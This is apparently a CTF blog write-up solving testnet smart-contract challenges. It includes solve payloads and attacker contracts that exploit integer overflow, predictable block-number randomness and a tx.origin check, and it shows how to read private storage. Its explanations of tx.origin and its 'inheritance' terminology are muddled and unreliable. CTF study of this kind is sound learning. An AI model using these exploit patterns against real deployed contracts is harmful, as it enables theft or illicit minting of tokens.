circleous notes

0x41414141 in ?? ()

no pwn in sight

Last weekend, I participated in 0x41414141 CTF with Super Guesser. As opposed with the title, this is actually my notes about blockchain stuff. For the past few months, I tried to move away from heap notes challenges and this is actually great for your health™ 🙊. I have been away from actually researching things for a long time, when I saw this CTF listed in upcoming CTF in ctftime, I knew there won't be any hard rated challenges and from the description there will be some smart contract challenges, from that moment, I already knew, maybe this is the time to take a stab at this smart contract thing. Here's some notes on smart contract, some views or terms might not be correctly used, but here it is.

sanity check

This was the easiest one. We were given a contract address at 0x5CDd53b4dFe8AE92d73F40894C67c1a6da82032d, decompiling it with https://rinkeby.etherscan.io/bytecode-decompiler?a=0x5CDd53b4dFe8AE92d73F40894C67c1a6da82032d will give us the flag.

secure enclave 

This time we have a contract sol file, looking at the source


pragma solidity ^0.6.0;

contract secure_enclave {
event pushhh(string alert_text);


struct Secret {
address owner;
string secret_text;
}

mapping(address => Secret) private secrets;

function set_secret(string memory text) public {
secrets[msg.sender] = Secret(msg.sender, text);
emit pushhh(text);
}

function get_secret() public view returns (string memory){
return secrets[msg.sender].secret_text;
}
}

Although at this point I don't really know most of solidity basics, but from high level overview this does looks like a key value store program. This looks fine, but knowing that this runs on a blockchain, every transaction will be recorded in the nodes. This includes any transaction that's done with a contract too. Using block explorer, we can see the IN transaction that's done with the contract (https://rinkeby.etherscan.io/address/0x9b0780e30442df1a00c6de19237a43d4404c5237). Just open the transaction one by one and decode the input data. The real flag found at this transaction https://rinkeby.etherscan.io/tx/0x3e3498a9bbb97500f1cfb03fc4ce69aa2eddc475aaff8705414275065b8cb1ea.

Some key points,

  • In payable functions, you'll need to use signed transaction to interact with the contract and this will make your transaction listed on the explorer too.
  • Signed transactions are recorded and available to the public, maybe designing a challenge that needs a "private" view needs more thought to it. (deploy one contract per team token? deploy private blockchain network?)

crackme.sol

pragma solidity ^0.6.0;

contract crack_me{

function gib_flag(uint arg1, string memory arg2, uint arg3) public view returns (uint[]){
//arg3 is a overflow
require(arg3 > 0, "positive nums only baby");
if ((arg1 ^ 0x70) == 20) {
if(keccak256(bytes(decrypt(arg2))) == keccak256(bytes("offshift ftw"))) {
uint256 check3 = arg3 + 1;
if( check3< 1) {
return flag;
}
}
}
return "you lost babe";
}

function decrypt(string memory encrypted_text) private pure returns (string memory){
uint256 length = bytes(encrypted_text).length;
for (uint i = 0; i < length; i++) {
byte char = bytes(encrypted_text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(encrypted_text,0x20), mul(i,1)), sub(char,16))}
}
}
return encrypted_text;
}
}

@stamparm solved this one, here's a short write up. the decrypt function is rot13, found on this gists (https://gist.github.com/vasa-develop/6cc6cfcfed3402e6717aa52bc811e610). Basically, we just need to call gib_flag with satisfiable arguments. There's also overflow in arg3, if we pass 2^256 - 1 as value, arg3 + 1 will be zero since it's overflowed. The final payload gib_flag(100,"evvixyvj vjm",2**256 - 1).

Some key points,

  • Take a look at SafeMath library, this basically the safe version of math operations that take care of overflow, etc.

crypto casino

pragma solidity ^0.6.0;

contract casino {

bytes32 private seed;
mapping(address => uint) public consecutiveWins;

constructor () public{
seed = keccak256("satoshi nakmoto");
}

function bet(uint guess) public{
uint num = uint(keccak256(abi.encodePacked(seed, block.number))) ^ 0x539;
if (guess == num) {
consecutiveWins[msg.sender] = consecutiveWins[msg.sender] + 1;
}else {
consecutiveWins[msg.sender] = 0;
}
}

function done() public view returns (uint16[] memory) {
if (consecutiveWins[msg.sender] > 1) {
return [];
}
}

}

I spent a bit too much time while doing this. done() is basically the function that will give us flag. Before getting the flag, we need to make 2 successful consecutive bet. The bet used a static value and block.number as the seed for randomness that make guess value predictable. Although block.number looks like a bit hard to guess, but it's just incrementing value. I came up with the first plan, get the last block number and pray that our signed tx will end up in (last block number + 1). Here's a rough script idea.

latest_block_num = w3.eth.block_number()
print(latest_block_num)
tx_1 = contract.functions.bet(get_num(latest_block_num+1)).buildTransaction({
    "nonce": cnt,
    "gas": 50000,
    "gasPrice": 20000000000,
})
tx_2 = contract.functions.bet(get_num(latest_block_num+1)).buildTransaction({
    "nonce": cnt+1,
    "gas": 50000,
    "gasPrice": 20000000000,
})

While this works sometimes, we can make the prediction more solid with this one little trick. I don't know what is this thing called in solidity, but let's call it inheritance 😜.

pragma solidity ^0.6.0;

interface casino {
    function bet(uint guess) external;
}

contract solve {
    bytes32 private seed;
    casino _casino;

    constructor() public {
        seed = keccak256("satoshi nakmoto");
        _casino = casino(0x186d5d064545f6211dD1B5286aB2Bc755dfF2F59);
    }

    function takebet() public {
        uint guess = uint(keccak256(abi.encodePacked(seed, block.number))) ^ 0x539;
        _casino.bet(guess);
    }

}

How it works? well the call to bet() will somehow end up in one internal transaction and this will end up in the same block.number as our takebet() transaction. Just call takebet() 2 times and we have access to get the flag.

Some key points,

  • I don't know what is this "inheriance" thing called in solidity ecosystem, but this looks like really useful.

FakeCoin

I didn't do the first part of this challenge, which is a web challenge. In the end of web challenge, you'll need to change node name to your controlled server and sniff the communication. It's basically contains a contract address and a solidity contract challenge. I don't really know how it gets to this SSRF, so I'll focus on the smart contract part.

pragma solidity ^0.6.0;

interface ERC20 {
    function balanceOf(address account) external view returns (uint256);
    function mint(address to, uint256 amount) external;
}

contract fakecoin {
    ERC20 token;
    bytes32 brrr = bytes32("Sup3rS3cre7_57r1ng");
    constructor(address _token) public{
        token = ERC20(_token);
    }

    function gib_flag() public view returns(uint8[] memory) {
        require(token.balanceOf(msg.sender) >= 3e18, "you are too poor for getting our secret flag");
        return "congrats here it's, flag{}";
    }

    function mint_tokens(bytes32 secret, bytes8 _key) public returns(string memory){
        require(msg.sender != tx.origin, "you can't mint to yourself !!!!");
        require(secret == brrr, "secrets don't match");

        if (uint32(uint64(_key)) == uint16(tx.origin)){
            token.mint(tx.origin, 3e18);
        }
    }
}

So, basically we just need to get ERC20 tokens minted on our address with mint_tokens. If we call mint_tokens directly with the provided contract address, this will fail on msg.sender != tx.origin check because tx.origin will be the address of contract account creator and msg.sender will be our account address. At this point I thought of "inheritance" from the challenge before. If we used that "inheritance" thing this will make tx.origin reference our contract, and ofc the creator account address will contain our address and since the call made by our self, msg.sender will have our account address too and this basically all the bypass we need. _key is just the lower 16 bit (2 bytes) of our account address. Here's the solve script,

pragma solidity ^0.6.0;

interface fakecoin {
    function mint_tokens(bytes32 secret, bytes8 _key) external returns (string memory);
}

contract solve {
    fakecoin k;
    constructor() public {
        k = fakecoin(0xe4EAa4e977dc9A69E6087EFe42f8702Ac8F5AC91);
    }

    function mint() public {
        k.mint_tokens("Sup3rS3cre7_57r1ng", "\x6d\xbb");
    }
}

There's some other path that we can take too. Looking at the evm bytecode, ERC20 token contract address is located at storage0 0x724fefd5f5006925791b640b83d02ad688ece8d5.

> web3.eth.getStorageAt('0xe4EAa4e977dc9A69E6087EFe42f8702Ac8F5AC91', 0).then(console.log)
0x000000000000000000000000724fefd5f5006925791b640b83d02ad688ece8d5

ERC20 is publicly known tokens ABI and we could just use public ABI and call mint directly to get tokens minted, without going through mint_tokens bs.

Some key points,

RICH CLUB

pragma solidity ^0.6;
//SPDX-License-Identifier: MIT

interface ERC20 {
    function balanceOf(address account) external view returns (uint256);
}


contract RICH_CLUB {

    ERC20 UNI;
    event new_member(string pub_key);
    event send_flag(string pub_key, string flag);

    constructor() public{
        UNI = ERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
    }

    function grant_membership(string memory _pub_key) public {
        require(bytes(_pub_key).length > 120, "invalid public key");
        require(UNI.balanceOf(msg.sender) >= 6e20, "you don't look rich to me");
        emit new_member(_pub_key);
    }

    function grant_flag(string memory _pub_key, string memory encoded_flag) public{
        require(msg.sender == address(0x30cE246A1282169895bf247abaE77BA69d5B2416), "you don't have access to this");
        emit send_flag(_pub_key, encoded_flag);
    }
}

In short, we just need to call grant_membership and the admin bot will sent us an encrypted flag with our public key. The key is that we need to have 6e20 UNI tokens to get our address registered. I did this the unintended way, I have like ~50 eth in rinkeby testnet, and that's like rich-rich. So, I end up using the token swap (https://app.uniswap.org/#/swap) and get flag 😛. There's dumb moment after this though, I didn't know the encrypted flag would be a double encoded of python bytes. I need to decode it first and decrypt it using the private key. This cost us like hours of works 🙈.

The intended way was using a technique called Flash Loans, I still didn't try this but the idea is get a loans of some value and return it back as soon as you're done with your operation. This usually done in one transaction or one block(?). Here are some references,

Closing Thoughts

I enjoyed the learning process on this smart contract, but the overall of this CTF was not great. This whole learning blockchain thing started when there's a prime only EVM bytecode challenge on realworld CTF earlier this year. I started this as a joke but in the end I quite enjoyed the process.